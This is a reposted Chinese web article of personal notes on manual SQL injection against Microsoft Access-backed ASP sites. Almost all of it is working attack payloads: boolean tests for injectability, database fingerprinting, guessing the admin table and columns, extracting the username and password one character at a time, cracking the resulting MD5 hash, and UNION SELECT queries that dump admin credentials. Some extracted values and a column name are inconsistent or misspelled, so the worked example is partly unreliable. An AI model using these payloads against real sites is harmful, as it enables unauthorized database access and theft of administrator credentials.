最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 科技 - 知识百科 - 正文

access手工注入笔记

来源:懂视网 责编:小采 时间:2020-11-09 07:56:46
文档

access手工注入笔记

access手工注入笔记:http://www.xxx.com/news.aspid=6 注入 点 判断是否存在 注入 两次返回不一样 存在 注入 http://www.xxx.com/news.aspid=6 and 1=1 http://www.xxx.com/news.aspid=6 and 1=2 判断数据库 这里可能是本地问题 没有测试出来 an
推荐度:
导读access手工注入笔记:http://www.xxx.com/news.aspid=6 注入 点 判断是否存在 注入 两次返回不一样 存在 注入 http://www.xxx.com/news.aspid=6 and 1=1 http://www.xxx.com/news.aspid=6 and 1=2 判断数据库 这里可能是本地问题 没有测试出来 an

http://www.xxx.com/news.asp?id=6 注入 点 判断是否存在 注入 两次返回不一样 存在 注入 http://www.xxx.com/news.asp?id=6 and 1=1 http://www.xxx.com/news.asp?id=6 and 1=2 判断数据库 这里可能是本地问题 没有测试出来 and (select count(*) from msys

http://www.xxx.com/news.asp?id=6
注入点

判断是否存在注入 两次返回不一样 存在注入
http://www.xxx.com/news.asp?id=6 and 1=1

http://www.xxx.com/news.asp?id=6 and 1=2

判断数据库 这里可能是本地问题 没有测试出来
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)


猜解表名(正常则存在admin,不正常则不存在)

and exists (select * from admin)

返回正确 存在admin 我们随便填写一个进去那么 返回错误 不存在这个表


现在我们来猜解字段
and exists (select username from admin)

and exists (select password from admin)

没有出错证明这两个字段都是存在 不存在的话同上 不存在字段


猜解用户名和密码长度

and (select top 1 len(username) from admin)>0
and (select top 1 len(password) from admin)>0

猜解用户名和密码内容:
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110

97 100 109 105 110 admin

------------------------------------------------------
and(select top 1 asc(mid(password,1,1))from admin)=52
and(select top 1 asc(mid(password,2,1))from admin)=54
and(select top 1 asc(mid(password,3,1))from admin)=57
and(select top 1 asc(mid(password,4,1))from admin)=56
and(select top 1 asc(mid(password,5,1))from admin)=48
and(select top 1 asc(mid(password,6,1))from admin)=100
and(select top 1 asc(mid(password,7,1))from admin)=51
and(select top 1 asc(mid(password,8,1))from admin)=50
and(select top 1 asc(mid(password,9,1))from admin)=99
and(select top 1 asc(mid(password,10,1))from admin)=48
and(select top 1 asc(mid(password,11,1))from admin)=53
and(select top 1 asc(mid(password,12,1))from admin)=53
and(select top 1 asc(mid(password,13,1))from admin)=57
and(select top 1 asc(mid(password,14,1))from admin)=102
and(select top 1 asc(mid(password,15,1))from admin)=56
and(select top 1 asc(mid(password,16,1))from admin)=32

52 54 57 101 56 48 100 51 50 99 48 53 53 57 102 56 32
469e80d32c0559f8 md5 解出来的密码是admin888
=====================================================
(二)联合查询暴出管理帐号及密码

先用order by 爆出字段数,然后:

http://www.xxx.com/news.asp?id=6 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin

语法:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 表示的是列长度。
from admin 查询对像admin表名

运行后会出现两到三个数字,如:4、12 则修改语句子(即在4、12中修改成列名,红色部份):
http://www.xxx.com/news.asp?id=6 and 1=2 union select 1,2,3,usermane,5,6,7,8,9,10,11,password,13,14,15 from admin

这样,就可以爆出管理帐户和密码了。当然你也可以先爆帐户:

http://www.xxx.com/news.asp?id=6 and 1=2 union select 1,2,3,username,5,6,7,8,9,10,11,12,13,14,15 from admin

再爆密码:
http://www.xxx.com/news.asp?id=6 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,password,15 from admin

文档

access手工注入笔记

access手工注入笔记:http://www.xxx.com/news.aspid=6 注入 点 判断是否存在 注入 两次返回不一样 存在 注入 http://www.xxx.com/news.aspid=6 and 1=1 http://www.xxx.com/news.aspid=6 and 1=2 判断数据库 这里可能是本地问题 没有测试出来 an
推荐度:
标签: 手工 笔记 http
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top